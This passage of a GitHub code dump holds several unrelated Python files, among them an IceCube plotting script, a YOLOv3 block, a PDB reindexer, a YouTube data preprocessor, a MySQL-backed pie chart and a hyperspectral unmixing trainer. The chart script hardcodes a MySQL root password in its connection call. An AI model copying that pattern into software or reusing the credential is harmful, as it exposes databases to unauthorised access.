dcz\n\n nu = self.nu\n nu.cz = -np.sin (nu.trueDec)\n w_aeff = 1 / (1e4 * np.log (10)) * nu.ow / nu.trueE / dOmega / dlogE\n\n h_aeff = hl.hist (\n (nu.trueE, nu.cz), w_aeff,\n bins=(n_bins_E, n_bins_cz),\n range=((10**logEmin, 10**logEmax), (-1, 1)),\n log=(True, False),\n )\n\n misc.tex_mpl_rc (True)\n fig = getfig (aspect=4/3., width=5)\n ax = fig.add_subplot (111)\n fig.subplots_adjust (bottom=.15, left=.15)\n result = hl.plot2d (ax, h_aeff, cbar=True, log=True,\n vmin=5e-6, vmax=1e4, zmin=5e-6)\n result['colorbar'].set_label (r'effective area $[\\text{m}^2]$')\n ax.set_xlabel ('neutrino energy [GeV]')\n ax.set_ylabel (r'$\\cos(\\text{zenith})$')\n\n plot_dir = misc.ensure_dir ('{0}/plots'.format (self.mode_dir))\n savingfig (fig, plot_dir, 'aeff')\n\n bins = h_aeff.bins\n filename = '{}/aeff.txt'.format (plot_dir)\n prush ('-> {} ...'.format (filename))\n with open (filename, 'w') as f:\n pr = lambda *a, **kw: print (*a, file=f, **kw)\n pr ('# {:>11}{:>13}{:>16}{:>16}{:>16}'.format (\n 'E_min[GeV]', 'E_max[GeV]',\n 'cos(zenith)_min', 'cos(zenith)_max',\n 'Aeff[m^2]'\n ))\n for (Emin, Emax) in izip (bins[0][:-1], bins[0][1:]):\n for (czmin, czmax) in izip (bins[1][:-1], bins[1][1:]):\n pr ('{:13.3e}{:13.3e}{:+16.2f}{:+16.2f}{:16.3e}'.format (\n Emin, Emax,\n czmin, czmax,\n h_aeff.get_value (1.001 * Emin, 1e-3 + czmin)\n ))\n\n\n\nif __name__ == '__main__':\n app = TPS861 ()\n app.run ()\n try:\n __IPYTHON__\n except:\n pass\n else:\n try:\n data = app.data\n nu = app.nu\n pdfs = app.pdfs\n sig = app.sig\n bg = app.bg\n except:\n pass\n\n\n","repo_name":"brelethford/IceCube","sub_path":"skylab/PSdata/mike_plots/tps861.py","file_name":"tps861.py","file_ext":"py","file_size_in_byte":22494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"15543707121","text":"from torch import nn\n\n\ndef _conv_bn_leaky(\n in_channels,\n out_channels,\n kernel_size,\n):\n \"\"\"\n Set a conv2d, BN and leaky relu layer.\n\n Args:\n in_channels (int): Conv input feature map channels.\n out_channels (int): Conv output feature map channels.\n kernel_size (int): Conv kernel size.\n\n Returns:\n block (nn.Sequential): Builded block.\n \"\"\"\n block = nn.Sequential(\n nn.Conv2d(\n in_channels=in_channels,\n out_channels=out_channels,\n kernel_size=kernel_size,\n padding='same',\n bias=False,\n ),\n nn.BatchNorm2d(num_features=out_channels),\n nn.LeakyReLU(negative_slope=0.1),\n )\n\n return block\n\n\nclass YoloBlock(nn.Module):\n \"\"\"\n YoloBlock for YOLOv3.\n\n Args:\n in_channels (int): Input channel.\n out_chls (int): Middle channel.\n out_channels (int): Output channel.\n emb_dim (int): Embedding size.\n\n Returns:\n c5 (Tensor): Feature map to feed at next layers.\n out (Tensor): Output feature map.\n emb (Tensor): Output embeddings.\n \"\"\"\n\n def __init__(\n self,\n in_channels,\n out_chls,\n out_channels,\n emb_dim=512,\n ):\n super().__init__()\n out_chls_2 = out_chls * 2\n\n self.conv0 = _conv_bn_leaky(in_channels, out_chls, kernel_size=1)\n self.conv1 = _conv_bn_leaky(out_chls, out_chls_2, kernel_size=3)\n\n self.conv2 = _conv_bn_leaky(out_chls_2, out_chls, kernel_size=1)\n self.conv3 = _conv_bn_leaky(out_chls, out_chls_2, kernel_size=3)\n\n self.conv4 = _conv_bn_leaky(out_chls_2, out_chls, kernel_size=1)\n self.conv5 = _conv_bn_leaky(out_chls, out_chls_2, kernel_size=3)\n\n self.conv6 = nn.Conv2d(out_chls_2, out_channels, kernel_size=1, padding='same', bias=False)\n\n self.emb_conv = nn.Conv2d(out_chls, emb_dim, kernel_size=3, padding='same', bias=False)\n\n def forward(self, x):\n \"\"\"\n Feed forward feature map to YOLOv3 block\n to get detections and embeddings.\n \"\"\"\n c1 = self.conv0(x)\n c2 = self.conv1(c1)\n\n c3 = self.conv2(c2)\n c4 = self.conv3(c3)\n\n c5 = self.conv4(c4)\n c6 = self.conv5(c5)\n\n emb = self.emb_conv(c5)\n\n out = self.conv6(c6)\n\n return c5, out, emb\n","repo_name":"KLONNEX/jde-reimplementation","sub_path":"src/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"}
+{"seq_id":"27832054769","text":"import os\nimport sys\n\n\ndef pad_line(line):\n '''\n https://github.com/haddocking/pdb-tools/blob/master/pdbtools/pdb_reres.py#L107\n\n Helper function to pad line to 80 characters in case it is shorter\n '''\n size_of_line = len(line)\n if size_of_line < 80:\n padding = 80 - size_of_line + 1\n line = line.strip('\\n') + ' ' * padding + '\\n'\n return line[:81] # 80 + newline character\n\n\ndef reindex_pdb(fhandle, starting_resid):\n '''\n https://github.com/haddocking/pdb-tools/blob/master/pdbtools/pdb_reres.py#L116\n\n Reset the residue number column to start from a specific number.\n\n This function is a generator.\n\n Parameters\n ----------\n fhandle : a line-by-line iterator of the original PDB file.\n\n starting_resid : int\n The starting residue number.\n\n Yields\n ------\n str (line-by-line)\n The modified (or not) PDB line.\n '''\n _pad_line = pad_line\n prev_resid = None # tracks chain and resid\n resid = starting_resid - 1 # account for first residue\n records = ('ATOM', 'HETATM', 'TER', 'ANISOU')\n for line in fhandle:\n line = _pad_line(line)\n if line.startswith('MODEL'):\n resid = starting_resid - 1 # account for first residue\n prev_resid = None # tracks chain and resid\n yield line\n\n elif line.startswith(records):\n line_resuid = line[17:27]\n if line_resuid != prev_resid:\n prev_resid = line_resuid\n resid += 1\n if resid > 9999:\n emsg = 'Cannot set residue number above 9999.\\n'\n sys.stderr.write(emsg)\n sys.exit(1)\n\n yield line[:22] + str(resid).rjust(4) + line[26:]\n\n else:\n yield line\n\n","repo_name":"phiweger/faltwerk","sub_path":"faltwerk/external.py","file_name":"external.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"78"}
+{"seq_id":"9940006721","text":"import csv\r\nimport os\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom statistics import mean; #Simple mean function to ease implementations\r\n\r\n# Read into pandas dataframe\r\nproc_frames = pd.read_csv(\"USvideos.csv\") \r\n\r\n# Drop data that will be irrelevant to the decision tree\r\nproc_frames = proc_frames.drop(['video_id', 'trending_date', 'title', 'publish_time', 'description', 'thumbnail_link'], axis = 1)\r\n\r\n# Reorganize tags by have or have not\r\nfor i, row in proc_frames.iterrows():\r\n tag_val = 1\r\n if row['tags'] == \"[none]\":\r\n tag_val = 0\r\n proc_frames.at[i,'tags'] = tag_val\r\n\r\n# Cut the views column into 2\r\n# View count above 682,000 will be considered \"popular\" (it is the median value)\r\n# View count below or equal to that will not be considered popular\r\nbin_result = pd.cut(proc_frames['views'], [0, 682000, 225000000], labels=[0, 1])\r\nproc_frames['views'] = bin_result.tolist()\r\n\r\nproc_frames = proc_frames.rename(columns={'views': 'decision'})\r\n# Split likes, dislikes, and comment count into bins by quantiles\r\nbin_result = pd.cut(proc_frames['likes'], [0, 5424, 18100, 55400, 5610000], labels=[0, 1, 2, 3])\r\nproc_frames['likes'] = bin_result.tolist()\r\n\r\nbin_result = pd.cut(proc_frames['dislikes'], [0, 202, 631, 1938, 1670000], labels=[0, 1, 2, 3])\r\nproc_frames['dislikes'] = bin_result.tolist()\r\n\r\nbin_result = pd.cut(proc_frames['comment_count'], [0, 614, 1856, 5755, 1360000], labels=[0, 1, 2, 3])\r\nproc_frames['comment_count'] = bin_result.tolist()\r\n\r\n# Export to set\r\ntest_set = proc_frames.sample(random_state = 69, frac = 0.2)\r\ntraining_set = proc_frames.drop(test_set.index)\r\ntest_set.to_csv(\"testSet-ChannelSpec.csv\", index = False, header = True)\r\ntraining_set.to_csv(\"trainingSet-ChannelSpec.csv\", index = False, header = True)\r\n\r\n# Also do ANOTHER set that's not channel specific\r\nproc_frames = proc_frames.drop(['channel_title'], axis = 1)\r\ntest_set = proc_frames.sample(random_state = 69, frac = 0.2)\r\ntraining_set = proc_frames.drop(test_set.index)\r\ntest_set.to_csv(\"testSet-NoChannelSpec.csv\", index = False, header = True)\r\ntraining_set.to_csv(\"trainingSet-NoChannelSpec.csv\", index = False, header = True)\r\n\r\n\r\n \r\n\r\n\r\n\r\n","repo_name":"webcrawlr/DecisionTreeTrendingYoutube","sub_path":"preprocess_youtube.py","file_name":"preprocess_youtube.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"72590415931","text":"# 소수의 개수 구하기\nimport math \n\nn = int(input())\n\nprime = []\nprime.append(2)\nprime.append(3)\n\nfor i in range(5, n+1, 2): # 짝수 제외\n idx = 0\n while(prime[idx] <= math.sqrt(i)): # 제곱근 이하의 수만 비교\n if i % prime[idx] == 0:\n break\n idx += 1\n else: # 실수한 부분\n prime.append(i)\n\nprint(len(prime))\n","repo_name":"lcw729/Algorithm","sub_path":"Algorithm/basic/소수.py","file_name":"소수.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"33872742981","text":"from middlewared.service import Service\n\n\nclass UsageService(Service):\n\n FAILED_RETRIES = 3\n\n class Config:\n private = True\n\n async def firstboot(self):\n hash = await self.middleware.call('usage.retrieve_system_hash')\n version = (await self.middleware.call('usage.gather_system_version', {}))['version']\n retries = self.FAILED_RETRIES\n\n while retries:\n try:\n await self.middleware.call('usage.submit_stats', {\n 'platform': 'TrueNAS-SCALE',\n 'system_hash': hash,\n 'firstboot': [{\n 'version': version,\n }]\n })\n except Exception:\n retries -= 1\n if not retries:\n self.logger.error('Failed to send firstboot statistics', exc_info=True)\n else:\n break\n\n","repo_name":"rmesta/mw","sub_path":"src/middlewared/middlewared/plugins/usage_/firstboot.py","file_name":"firstboot.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"32956235701","text":"import math\nfrom math import pi, radians, sin, cos, degrees\nimport mysql.connector\nfrom mysql.connector import errorcode\n\nsize(2048, 2048)\nstroke(0)\nstrokewidth(1)\nnofill()\n\ntranslate(1024, 1024)\n\nbeginpath(0, 0)\nc = oval(-1024, -1024, 2048, 2048)\nendpath(draw = False)\n\ndrawpath(c)\n\nmonths = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"]\n \ndef createPath(ia, ea, index, tam):\n stroke(0)\n pi = (1152 * cos(ia), 1152 * sin(ia))\n pf = (1152 * cos(ea), 1152 * sin(ea))\n \n ma = ia + ((ea - ia) / 2)\n pm = (1152 * cos(ma), 1152 * sin(ma))\n \n pathCone = findpath([pi, pf, (0, 0)], 0)\n \n path = c.intersect(pathCone)\n drawpath(path)\n \n push()\n fill(0)\n font(\"Helvetica\", tam / 3)\n align(CENTER)\n\n text(months[index], 2 * pm[0] / 3 - textwidth(months[index]) / 2, 2 * pm[1] / 3 + textheight(months[index]) / 4)\n pop()\n \n return pi, pf\n \ndef drawText(name, x, y, pct):\n name = \"%s: %.2f %%\" % (name, pct * 100)\n \n fill(0)\n font(\"Helvetica\", pct * 200)\n align(CENTER)\n text(name, x - textwidth(name) / 2, y)\n\ndef drawGraph(winter, spring, summer, fall):\n total = float(sum(winter) + sum(spring) + sum(summer) + sum(fall))\n\n stack = 0\n \n i = (0, 0)\n f = (0, 0)\n \n n = 0\n for month in winter:\n fill(0.94, .97, 1, 1)\n angle = radians(month / total * 360)\n pi, pf = createPath(stack, angle + stack, n, month)\n stack += angle\n n += 1\n \n drawText(\"Winter\", 800, 900, float(sum(winter)) / total)\n \n \n n = 0\n for month in spring:\n fill(1, .88, 1, 1)\n angle = radians(month / total * 360)\n pi, pf = createPath(stack, angle + stack, n + 3, month)\n stack += angle\n n += 1\n \n p = ((i[0] + f[0]) / 4, (i[1] + f[1]) / 4)\n drawText(\"Spring\", -800, 900, float(sum(spring)) / total)\n \n \n n = 0\n for month in summer:\n fill(1, 1, .05, 1)\n angle = radians(month / total * 360)\n pi, pf = createPath(stack, angle + stack, n + 6, month)\n stack += angle\n n += 1\n \n p = ((i[0] + f[0]) / 4, (i[1] + f[1]) / 4)\n drawText(\"Summer\", -800, -900, float(sum(summer)) / total)\n \n\n n = 0\n for month in fall:\n fill(.87, .46, .28, 1)\n angle = radians(month / total * 360)\n pi, pf = createPath(stack, angle + stack, n + 9, month)\n stack += angle\n n += 1\n \n p = ((i[0] + f[0]) / 4, (i[1] + f[1]) / 4)\n drawText(\"Fall\", 800, -900, float(sum(fall)) / total)\n \nDB_NAME = 'steampunk'\n\n# Get database connection\ndb_conn = mysql.connector.connect(user='root', password='vaporAranha', host='localhost', database='steampunk')\n# Get cursor to perform operations on our database\ncursor = db_conn.cursor()\n\nrequest = (\"SELECT \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Jan%') AS Jan, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Feb%') AS Feb, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Mar%') AS Mar, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Apr%') AS Apr, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%May%') AS May, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Jun%') AS Jun, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Jul%') AS Jul, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Aug%') AS Aug, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Sep%') AS Sep, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Oct%') AS Oct, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Nov%') AS Nov, \"\n \"(SELECT COUNT(software.release_date) FROM software \"\n \"WHERE software.release_date LIKE '%Dec%') AS 'Dec'\")\n\ncursor.execute(request)\n\nfor Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec in cursor:\n winter = [Jan, Feb, Mar]\n spring = [Apr, May, Jun]\n summer = [Jul, Aug, Sep]\n fall = [Oct, Nov, Dec]\n drawGraph(winter, spring, summer, fall)\n\ncursor.close()\ndb_conn.close()\n\nprint (\"connection ended\")","repo_name":"tgl-dogg/BCC-2s14-PI4-SteampunkSpider","sub_path":"src/steampunk_spider/visualisacoes/lancamentosPorEstacao.py","file_name":"lancamentosPorEstacao.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"793473969","text":"import unittest\nfrom builtins import print\n\nimport rstr\n\nfrom raspyrfm_client import RaspyRFMClient\nfrom raspyrfm_client.device_implementations.gateway.base import Gateway\nfrom raspyrfm_client.device_implementations.manufacturer_constants import Manufacturer\n\n\nclass TestStringMethods(unittest.TestCase):\n def test_random_controlunit_config(self):\n \"\"\"\n Tests all device_implementations with random configurations.\n \"\"\"\n\n rfm_client = RaspyRFMClient()\n\n rfm_client.get_supported_gateway_manufacturers()\n\n from raspyrfm_client.device_implementations.controlunit.base import ControlUnit\n\n def test_device(device: ControlUnit, gateway: Gateway):\n \"\"\"\n Tests random device_implementations configurations for the specified device_implementations\n \n :param device: the device_implementations to test \n \"\"\"\n\n self.assertIsNotNone(device.get_manufacturer())\n self.assertIsNotNone(device.get_model())\n self.assertIsNotNone(device.get_supported_actions())\n\n channel_config_args = device.get_channel_config_args()\n\n # tests 50 randomly chosen configurations\n for i in range(50):\n channel_config = {}\n\n for arg in channel_config_args:\n channel_config[arg] = rstr.xeger(channel_config_args[arg])\n\n device.set_channel_config(**channel_config)\n\n # test every action\n for action in device.get_supported_actions():\n generated_code = gateway.generate_code(device, action)\n self.assertIsNotNone(generated_code)\n\n def test_models(manufacturer: Manufacturer, gateways: [Gateway]):\n \"\"\"\n Tests all models of the specified manufacturer\n \n :param gateways:\n :param manufacturer: manufacturer to test all available models\n \"\"\"\n for model in rfm_client.get_supported_controlunit_models(manufacturer):\n for gateway in gateways:\n device = rfm_client.get_controlunit(manufacturer, model)\n print(\"Testing Device: '%s %s' with Gateway: '%s %s'...\" % (\n device.get_manufacturer(), device.get_model(), gateway.get_manufacturer(), gateway.get_model()))\n test_device(device, gateway)\n\n gateways = self.get_all_supported_gateways(rfm_client)\n\n for manufacturer in rfm_client.get_supported_controlunit_manufacturers():\n test_models(manufacturer, gateways)\n\n print(\"All random config device_implementations tests passed!\")\n\n def test_gateway_init(self):\n\n rfm_client = RaspyRFMClient()\n\n from raspyrfm_client.device_implementations.gateway.base import Gateway\n\n def test_gateway(gateway: Gateway):\n self.assertIsNotNone(gateway)\n\n def test_models(manufacturer: Manufacturer):\n for model in rfm_client.get_supported_gateway_models(manufacturer):\n gateway = rfm_client.get_gateway(manufacturer, model)\n test_gateway(gateway)\n\n for manufacturer in rfm_client.get_supported_gateway_manufacturers():\n test_models(manufacturer)\n\n def get_all_supported_gateways(self, rfm_client: RaspyRFMClient) -> [Gateway]:\n gateways = []\n\n for manufacturer in rfm_client.get_supported_gateway_manufacturers():\n for model in rfm_client.get_supported_gateway_models(manufacturer):\n gateway = rfm_client.get_gateway(manufacturer, model)\n gateways.append(gateway)\n\n return gateways\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"markusressel/raspyrfm-client","sub_path":"tests/automatic_tests.py","file_name":"automatic_tests.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"735994184","text":"import webapp2\nimport os\nimport jinja2\nfrom models import Item\n\n#remember, you can get this by searching for jinja2 google app engine\njinja_current_dir = jinja2.Environment(\n loader=jinja2.FileSystemLoader(os.path.dirname(__file__)),\n extensions=['jinja2.ext.autoescape'],\n autoescape=True)\n\nclass ItemHandler(webapp2.RequestHandler):\n def get(self):\n start_template = jinja_current_dir.get_template(\"templates/welcome.html\")\n self.response.write(start_template.render())\n\n def post(self):\n the_fav_Item = self.request.get('user-fav-1')\n\n #put into database (optional)\n Item_record = Item(item_name = the_fav_Item)\n Item_record.put()\n\n #pass to the template via a dictionary\n variable_dict = {'fav_Item_for_view': the_fav_Item}\n end_template = jinja_current_dir.get_template(\"templates/results.html\")\n self.response.write(end_template.render(variable_dict))\n\nclass ShowItemHandler(webapp2.RequestHandler):\n def get(self):\n Item_list_template = jinja_current_dir.get_template(\"templates/Itemlist.html\")\n fav_Items = Item.query().order(-Item.item_name).fetch()\n dict_for_template = {'top_fav_Items': fav_Items}\n self.response.write(Item_list_template.render(dict_for_template))\n\nclass CommandHandler(webapp2.RequestHandler):\n def get(self):\n start_template = jinja_current_dir.get_template(\"templates/command.html\")\n self.response.write(start_template.render())\n\nclass WorkshopHandler(webapp2.RequestHandler):\n def get(self):\n start_template = jinja_current_dir.get_template(\"templates/workshop.html\")\n self.response.write(start_template.render())\n\nclass DatabasesHandler(webapp2.RequestHandler):\n def get(self):\n start_template = jinja_current_dir.get_template(\"templates/data.html\")\n self.response.write(start_template.render())\n\nclass IntroHandler(webapp2.RequestHandler):\n def get(self):\n start_template = jinja_current_dir.get_template(\"templates/intro.html\")\n self.response.write(start_template.render())\n\n\napp = webapp2.WSGIApplication([\n ('/', ItemHandler),\n ('/showfavs', ShowItemHandler),\n ('/workshop', WorkshopHandler),\n ('/commandline', CommandHandler),\n ('/databases', DatabasesHandler),\n ('/intro', IntroHandler),\n], debug=True)\n","repo_name":"noradunleavy/databases","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"25753171662","text":"\"\"\"\nDescription:\nIn this script, we train and evaluate the Unfolding ADMM network for hyperspectral image unmixing, UADMMBUNet in\nhttps://ieeexplore.ieee.org/abstract/document/9654204\n\"\"\"\n\n\n# Futures\nfrom __future__ import print_function\n\nimport sys\nimport os\n\n# getting the directory where this file is located\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n# getting the parent directory and adding it to the path\nparent_dir = os.path.dirname(current_dir)\nsys.path.append(parent_dir)\n\nimport scipy\nimport tensorflow as tf\nfrom timeit import default_timer as timer\nfrom tensorflow.keras.callbacks import ModelCheckpoint\nfrom tensorflow.keras import optimizers\nfrom Modules.utils import *\nfrom Modules.Model import *\nfrom Modules.Losses import *\nfrom Modules.Synthetic_data_preprocessing import *\nfrom Modules.VCA import *\n\n\n\n__author__ = '{Chao ZHOU}'\n__copyright__ = 'Copyright {04/09/2020}, {UADMMAENet}'\n__email__ = '{chaozhouucl@gmail.com}'\n__status__ = '{finished}'\n\n\n# gpu setting\ngpus = tf.config.experimental.list_physical_devices('GPU')\nif gpus:\n # Restrict TensorFlow to only use the first GPU\n try:\n tf.config.experimental.set_visible_devices(gpus[0], 'GPU')\n tf.config.experimental.set_memory_growth(gpus[0], True)\n logical_gpus = tf.config.experimental.list_logical_devices('GPU')\n print(len(gpus), \"Physical GPUs,\", len(logical_gpus), \"Logical GPU\")\n except RuntimeError as e:\n # Visible devices must be set before GPUs have been initialized\n print(e)\n\n\n# {code}\ndef main(hparams):\n parent_dir = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))\n\n # ------------------------------------------ 1. load data ------------------------------------------\n data_params = {\n 'HSI data path': os.path.join(parent_dir, 'Data/hsi_data_Sigma1.414.pkl'),\n 'True abundance path': os.path.join(parent_dir, 'Data/abundance_Sigma1.414.pkl'),\n 'True Endmember signature path': os.path.join(parent_dir, 'Data/endm_sigs_Sigma1.414.pkl'),\n 'img_size': (100, 100),\n }\n\n hsi_data = read_data(data_params['HSI data path'])\n true_abundances = read_data(data_params['True abundance path'])\n true_endm_sig = read_data(data_params['True Endmember signature path'])\n\n NO_DATA, NO_Bands = hsi_data.shape\n _, NO_Endms = true_abundances.shape\n\n data_params['NO_Bands'] = NO_Bands\n data_params['NO_Endms'] = NO_Endms\n data_params['NO_DATA'] = NO_DATA\n\n assert NO_DATA == np.prod(data_params['img_size'])\n\n # add noise\n hsi_data = add_gaussian_noise(hsi_data, hparams['SNR'])\n\n # clip abundance to avoid overflow of loss and metric calculation\n true_abundances = np.clip(true_abundances, 1e-8, 0.99)\n\n train_x = hsi_data\n train_y = hsi_data\n train_pseudo_z0 = np.zeros_like(true_abundances)\n train_pseudo_d0 = np.zeros_like(true_abundances)\n train_x = [train_x, train_pseudo_z0, train_pseudo_d0]\n\n if hparams['endmember_estimation_method'] == 'SiVM':\n img_resh = hsi_data.T\n V, SS, U = scipy.linalg.svd(img_resh, full_matrices=False)\n PC = np.diag(SS) @ U\n img_resh_DN = V[:, :NO_Endms] @ PC[:NO_Endms, :]\n img_resh_np_clip = np.clip(img_resh_DN, 0, 1)\n II, III = Endmember_extract(img_resh_np_clip, NO_Endms)\n E_np1 = img_resh_np_clip[:, II]\n asq = Endmember_reorder2(true_endm_sig, E_np1)\n sivm_endm = E_np1[:, asq]\n Endm_initialization = sivm_endm\n\n elif hparams['endmember_estimation_method'] == 'VCA':\n vca_est_endm, _, _ = vca(hsi_data.T, R=data_params['NO_Endms'])\n Endm_initialization = np.abs(vca_est_endm)\n \n\n # ------------------------------------------ 2. build model ------------------------------------------\n model_params = {\n 'input_shape': (NO_Bands,),\n 'output_shape': (NO_Endms,),\n 'number_layers': hparams['number_layers'],\n 'share_layers': True if hparams['network_type'] == 1 else False,\n 'A': Endm_initialization, # encoder initialization\n 'Endm_initialization': Endm_initialization, # decoder initialization\n 'lambda_0': 0.1,\n 'name': 'UADMMBUNet-I' if hparams['network_type'] == 1 else 'UADMMBUNet-II',\n\n }\n\n # UADMMBUNet customize objects\n UADMMBUNet_customize_obejct = {\n 'UADMMNet_Reconstruction_layer': UADMMNet_Reconstruction_layer,\n 'UADMMNet_AuxiliaryVariableUpdate_layer': UADMMNet_AuxiliaryVariableUpdate_layer,\n 'UADMMNet_Multiplier_layer': UADMMNet_Multiplier_layer,\n 'UADMMNet_Norm_layer': UADMMNet_Norm_layer,\n 'MinMaxVal': MinMaxVal\n\n }\n\n model = UADMM_BUNet(**model_params).model\n optimizer = optimizers.Adam(learning_rate=hparams['learning_rate'])\n model.compile(\n optimizer=optimizer,\n loss='mse',\n )\n\n # ---------------------------- 3. experiment log ----------------------------\n Readme = f\"evaluate model: {model_params['name']} on synthetic dataset.\\r\\n\"\\\n f\"Hyperparameters: {hparams}.\\r\\n\"\n\n kwargs = {\n 'Readme': Readme,\n\n }\n if not os.path.exists(os.path.join(parent_dir, 'Result/')):\n os.mkdir(os.path.join(parent_dir, 'Result/'))\n program_log_path, model_checkpoint_dir, tensorboard_log_dir, model_log_dir = create_project_log_path(\n project_path=os.path.join(parent_dir, 'Result/'), **kwargs)\n\n # Save JSON config to disk\n save_model2json(model,\n model_checkpoint_dir + model_params['name'] + '_model_config.json')\n model.save_weights(model_checkpoint_dir + model_params['name'])\n\n # summary model to Readme\n summary_model2_readme(model, readme_path=program_log_path + 'Readme.txt')\n\n # ---------------------------- 4. train ----------------------------\n callbacks = [\n ModelCheckpoint(\n filepath=model_checkpoint_dir +\n model_params['name'], # + '_weights.h5',\n save_best_only=True,\n save_weights_only=True,\n monitor='loss'),\n ]\n start = timer()\n model.fit(x=train_x, y=train_y,\n callbacks=callbacks,\n batch_size=hparams['batch_size'],\n epochs=hparams['epochs'],\n verbose=hparams['verbose']\n )\n train_time = timer() - start\n # free memory\n del model\n # ---------------------------- 5. evaluate ----------------------------\n # load model\n new_model = restore_model_from_json(\n model_checkpoint_dir + model_params['name'] + '_model_config.json',\n customize_obejct=UADMMBUNet_customize_obejct\n )\n new_model = load_model_weights(\n new_model,\n model_checkpoint_dir + model_params['name'],\n )\n\n # extract endms\n est_endm_sig = new_model.layers[-1].get_weights()[0].T\n asq = Endmember_reorder2(true_endm_sig, est_endm_sig)\n est_endm_sig = est_endm_sig[:, asq]\n\n # est arbundance\n abu = new_model.layers[-2].output\n abu_net = Model(new_model.inputs, abu)\n\n # evaluation\n start = timer()\n est_abundance = abu_net.predict(x=train_x,\n batch_size=hparams['batch_size'],\n )\n eval_time = timer() - start\n est_abundance = est_abundance[:, asq]\n\n # free memory\n del new_model, abu_net\n\n write_data(est_endm_sig, file_path=tensorboard_log_dir + 'est_endm_sig.pkl')\n write_data(est_abundance, file_path=tensorboard_log_dir +\n 'est_abundance.pkl')\n\n # ---------------------------- post_processing ----------------------------\n # calc metrics for initialization method\n sad = angle_distance_metric(true_endm_sig.T, Endm_initialization.T)\n\n # print and summary\n summary_str = hparams['endmember_estimation_method'] + \\\n f\" est Endms SAD: {sad}.\\r\\n\"\n print(summary_str)\n summary2readme(summary_str, readme_path=program_log_path + 'Readme.txt')\n\n # calc metrics for UADMM-BUNet endm_sig\n sad = angle_distance_metric(true_endm_sig.T, est_endm_sig.T)\n\n # print and summary\n summary_str = model_params['name'] + f\" est Endms SAD: {sad}.\\r\\n\"\n print(summary_str)\n summary2readme(summary_str, readme_path=program_log_path + 'Readme.txt')\n\n # calc abundance metrics\n rmse = RMSE_metric(true_abundances, est_abundance)\n aad = angle_distance_metric(true_abundances, est_abundance)\n aid = abundance_information_divergence_metric(\n true_abundances, est_abundance)\n\n # print and summary RMSE\n summary_str = model_params['name'] + ' est Abundance:\\r\\n' \\\n + 'RMSE: %f\\r\\n' % (rmse) \\\n + 'AAD: %f\\r\\n' % (aad) \\\n + 'AID: %f\\r\\n' % (aid) \\\n + 'Eval time: %f s\\r\\n' % (eval_time) \\\n + 'Train time: %f s\\r\\n' % (train_time)\n print(summary_str)\n summary2readme(summary_str, readme_path=program_log_path + 'Readme.txt')\n\n\nif __name__ == '__main__':\n # ----------------------------------------------------------------hyper-parameters----------------------------------------------------------------\n hparams = {\n 'verbose': 0,\n 'SNR': 25,\n 'network_type': 2,\n 'endmember_estimation_method': 'VCA',\n 'number_layers': 2,\n 'learning_rate': 1e-4,\n 'epochs': 300,\n 'batch_size': 64,\n }\n # ----------------------------------------------------------------main----------------------------------------------------------------\n main(hparams)\n","repo_name":"ChaoEdisonZhouUCL/UADMMNet","sub_path":"Code/train_UADMMBUNet.py","file_name":"train_UADMMBUNet.py","file_ext":"py","file_size_in_byte":9417,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
